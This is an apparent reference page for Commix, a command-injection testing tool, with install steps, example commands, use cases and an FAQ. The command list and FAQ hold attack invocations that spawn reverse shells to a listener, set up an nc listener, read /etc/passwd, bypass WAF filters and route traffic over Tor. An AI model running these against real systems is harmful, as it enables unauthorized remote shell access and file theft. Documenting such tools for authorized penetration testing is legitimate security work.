GO KALI FREE

Commix

Web Application

Advancedhigh risk

Commix (Command Injection Exploiter) is an automated tool designed to test, detect, and exploit command injection vulnerabilities in web applications, facilitating automated OS shell access.

Installation

sudo apt install commix

Basic Syntax

commix -u "<URL>"

Quick Facts

Full Name
Commix (Command Injection Exploiter)
License
GPL v3
Written In
Python
Platforms
Linux, macOS, Windows
Category
Web Exploitation
Techniques
Classic, Blind, Semi-Blind, OOB
First Release
2014
Author
Anastasios Stasinopoulos

Tool Overview

Commix is a specialized security testing tool that automates the detection and exploitation of command injection vulnerabilities in web applications. Developed by Anastasios Stasinopoulos, it supports multiple injection techniques including classic command injection, time-based blind injection, out-of-band (OOB) injection, and file-based semi-blind injection.

The tool works by injecting OS command separators and payloads into vulnerable parameters, analyzing responses to determine if commands were executed. It can escalate a simple injection into full interactive shell access, making it a powerful tool for post-exploitation.

Commix includes built-in WAF bypass mechanisms, encoding modules, and support for various output capture techniques. Security professionals use it during authorized penetration tests to demonstrate the impact of command injection vulnerabilities.

Common Commands

commix -u "http://192.168.1.1/search.php?q=test"Basic evaluation - Scan a target URL and its parameters for command injection vulnerabilities
commix -u "http://192.168.1.1/search.php?q=test" --os-cmd="whoami"Execute system command - Attempt to run a single operating system command on the target host
commix -u "http://192.168.1.1/search.php?q=test" --allExhaustive assessment - Enable all available injection techniques and estimation parameters
commix -u "http://192.168.1.1/search.php?q=test" --data="id=1&user=test"POST request testing - Analyze parameters sent through HTTP POST data payloads
commix -u "http://target.com/page?cmd=test"Basic test
commix -u "http://target.com/page?cmd=test" --os-cmd=whoamiExecute command
commix -u "http://target.com/page?cmd=test" --allAll techniques
commix -u "http://target.com/page?id=1" --cookie="session=abc"Authenticated — inject through a request carrying session cookies
commix -u "http://target.com/page?id=1" --reverse-shell=10.0.0.1:4444Reverse shell — spawn an interactive shell back to your listener
commix -u "http://target.com/page?id=1" --technique=tTime-based — force blind, time-based injection detection
commix -u "http://target.com/page?id=1" --evasion=5Evasion — apply advanced encoding to bypass input filters
commix -u "http://target.com/page?id=1" --torAnonymity — route all traffic through the Tor network
commix --file=requests.txt --batchBatch — load a saved HTTP request and run non-interactively

Step-by-Step Guide

  1. 1Identify potential injection point
  2. 2Run commix with URL
  3. 3Review if vulnerable
  4. 4If exploitable, get shell access
  5. 5Document findings

Warnings

Use Cases

Command Injection Detection

Automatically detect command injection vulnerabilities in web application parameters.

OS Shell Access

Escalate command injection into interactive shell sessions on target servers.

WAF Bypass Testing

Test WAF effectiveness against obfuscated command injection payloads.

Blind Injection Exploitation

Exploit time-based and OOB command injection when output is not directly visible.

Penetration Testing

Demonstrate command injection impact during authorized web application assessments.

Security Research

Study command injection techniques and develop new bypass methodologies.

Related Tools

SQLMap

Web Application

Automated SQL injection detection and exploitation tool with database takeover capabilities.

b3tra

Web Application

Automated blind injection detection tool using time-based and out-of-band techniques.

XSStrike

Web Application

Advanced XSS detection suite with intelligent payload generation and context analysis.

XSSer

Web Application

Automated XSS detection framework with WAF bypass and payload generation.

Metasploit

Exploitation

Exploitation framework with post-exploitation modules and payload generation.

Frequently Asked Questions

What is Commix used for?

Commix (Command Injection Exploiter) is an automated tool that detects and exploits command injection vulnerabilities in web applications. It can execute OS commands, spawn shells, and bypass input filters.

What types of command injection does Commix test?

Commix supports classic command injection, time-based blind injection, out-of-band (OOB) injection via DNS/HTTP, and file-based semi-blind injection techniques.

Can Commix bypass WAF filters?

Yes, Commix includes multiple encoding and obfuscation methods to bypass Web Application Firewalls and input validation filters.

Is Commix dangerous to run?

Yes, command injection exploitation can execute arbitrary OS commands on target servers. Only use Commix against systems you own or have explicit permission to test.

What is OS command injection?

OS command injection occurs when a web application passes unsafe user input to a system shell. Attackers can execute arbitrary commands like whoami, id, or cat /etc/passwd on the server.

How does blind command injection work?

Blind command injection occurs when the application does not display command output. Commix uses time-based delays or out-of-band techniques like DNS lookups to detect injection without visible output.

Can Commix exploit command injection automatically?

Yes, Commix automates the entire process from detection to exploitation. It tests injection techniques, verifies command execution, and can spawn interactive reverse shells on vulnerable targets.

What time-based detection does Commix use?

Commix uses sleep or ping delays to detect blind injection. If the response takes longer than expected after injecting a sleep command, the parameter is likely vulnerable to command injection.

How do I use Commix in a penetration test?

During a pentest, run Commix after identifying potential injection points through manual testing. Use --all to test all techniques, --os-cmd for command execution, and --reverse-shell for persistent access.

Can Commix bypass input filters?

Yes, Commix includes evasion modules with URL encoding, double encoding, case manipulation, and character substitution to bypass WAFs and input validation filters.

How do I use Commix with POST data?

Use the -d flag to specify POST data: commix -u "http://target.com/page" -d "cmd=id". The vulnerable parameter in the POST body is tested for command injection with injected OS command separators.

Can Commix inject through cookies?

Yes, use the --cookie flag: commix -u "http://target.com/page" --cookie="session=abc; cmd=test". Commix tests each cookie parameter for command injection vulnerabilities.

How does Commix verify successful command execution?

Commix uses output-based verification by injecting commands like 'id' or 'whoami' and checking responses. For blind injection, it uses time delays (sleep) or out-of-band techniques (DNS lookup) to confirm execution.

Can Commix inject through HTTP headers?

Yes, use the --headers flag to test HTTP headers for injection: commix -u "http://target.com/page" --headers="X-Forwarded-For: test". Commix tests each header value for command injection vulnerabilities.

How do I get a reverse shell with Commix?

Use --reverse-shell=LHOST:LPORT to spawn a reverse shell: commix -u "http://target.com/page?id=1" --reverse-shell=192.168.1.10:4444. Start a listener with nc -lvnp 4444 to receive the connection.

Can Commix target Windows servers?

Yes, use --os=win to target Windows: commix -u "http://target.com/page?id=1" --os=win. Commix uses Windows-specific commands (cmd.exe, powershell) and separators for exploitation on Windows servers.

How do I test for blind command injection with Commix?

Use --blind=true for blind injection testing: commix -u "http://target.com/page?id=1" --blind=true. Commix uses time delays or OOB techniques to detect injection without visible output.

Can Commix read files from vulnerable servers?

Yes, use --file-read to read files: commix -u "http://target.com/page?id=1" --file-read=/etc/passwd. Commix exploits command injection to read arbitrary files from the target server.

How do I install or update Commix?

Install with: sudo apt install commix (Kali) or from GitHub: git clone https://github.com/commixproject/commix.git. Update with: cd commix && git pull. Requires Python 3.

Tags

#web-application#command-injection#exploitation#automation#vulnerability-detection

Output Explanation

Shows if parameter is injectable. Provides shell access if successful.

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.